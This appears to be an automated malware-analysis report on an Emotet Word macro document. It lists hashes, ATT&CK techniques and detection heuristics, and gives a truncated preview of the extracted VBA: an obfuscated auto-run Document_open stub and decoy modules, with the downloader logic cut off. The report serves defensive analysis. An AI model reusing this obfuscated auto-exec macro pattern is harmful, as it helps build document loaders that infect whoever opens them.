Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 50f04e399268abdf…

MALICIOUS

Office (OLE)

210.1 KB Created: 2020-02-06 06:25:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 6dea422353dc997a4d850f560d3e78e2 SHA-1: 3f80cc67602701f0e5afc1601659dd2275cb92aa SHA-256: 50f04e399268abdf3e3686c956a3d8fe0b3dca393c350c8a4acbe5d819aa6fc2
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the macro is designed to execute commands, likely to download and run a secondary payload. ClamAV detection further confirms its malicious nature as Emotet.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7578627-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7578627-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35771 bytes
SHA-256: 625ae9d6026c64324ee43da7cd491bf867341a32e6556c50c34e4dd64bb44c52
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cfuiaiztoqz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 415175 <> 359956 Then
UopUvfqGGw = 415175 + 1989
LCpmlrVkIr = 359956 - 2013
Else
MsgBox (CStr(UopUvfqGGw) & CStr(LCpmlrVkIr))
End If
For CEwQ = 2 To 93
DoEvents
Next CEwQ
ELynmkLWOi = False
JeYUwziKZn = 886
If JeYUwziKZn > 25 Then
ELynmkLWOi = True
End If
YeocLljBWx = ELynmkLWOi
Plhwacjwcanq.Yevzwodkmibrd
End Sub

Attribute VB_Name = "Bwqriffjx"
Attribute VB_Base = "0{A4AFFB55-D7EA-4584-A722-8E7D4792185C}{3FDB909B-C704-4B4F-AD73-9976E97204D0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Kgukvnenpz"
Attribute VB_Base = "0{469CF7AD-9D26-495E-A7BF-4DCD6F807978}{DB09AC86-2C75-46A0-8368-D66F51243C75}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Kgdjogqkccwe()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Nbljjanajsysd"
Attribute VB_Base = "0{CD92AB08-7E3C-41EF-9AE3-AA3963C9E1FC}{DCCF0A3E-9438-4203-BA96-F2922FE93E9B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Kkfiojdgeiy()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Jikpkxzdb"
Attribute VB_Base = "0{1D5BE932-1369-489E-A072-4CA2FD8DC35D}{590FB518-8999-4B52-A843-B76616AD67F5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Jgjxkkwdutr()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Wmokvgbkwir"
Attribute VB_Base = "0{953C44F6-B54F-4939-B973-768284C2E7EA}{927FC815-BAD8-4CD3-A122-46391A7FD87A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ihfvnifoy()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Gvumujkrqttyi"
Attribute VB_Base = "0{02FEFE92-BE4D-44CC-8948-6732BDCB7FDB}{D3A7806B-5146-4EEC-8CD1-438E6F5C4B01}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Uefnxrvcb()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Zgimbxepezlpq"
Attribute VB_Base = "0{510B1DB5-652C-48CE-AF04-F9FE1BFAB0F3}{816DD689-C0CC-46D3-813F-4D333F7E059B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Zkopjwfeobjlk()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ttxwkdjerv"
Attribute VB_Base = "0{B9D90002-8C97-4875-A7EC-03EC9DF7BE0D}{34BD8F21-BBC2-4EDF-B4FD-D316D87E0301}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Liippbzslnle()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Buksmthugsrt"
Attribute VB_Base = "0{A4735D7E-DE70-40
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.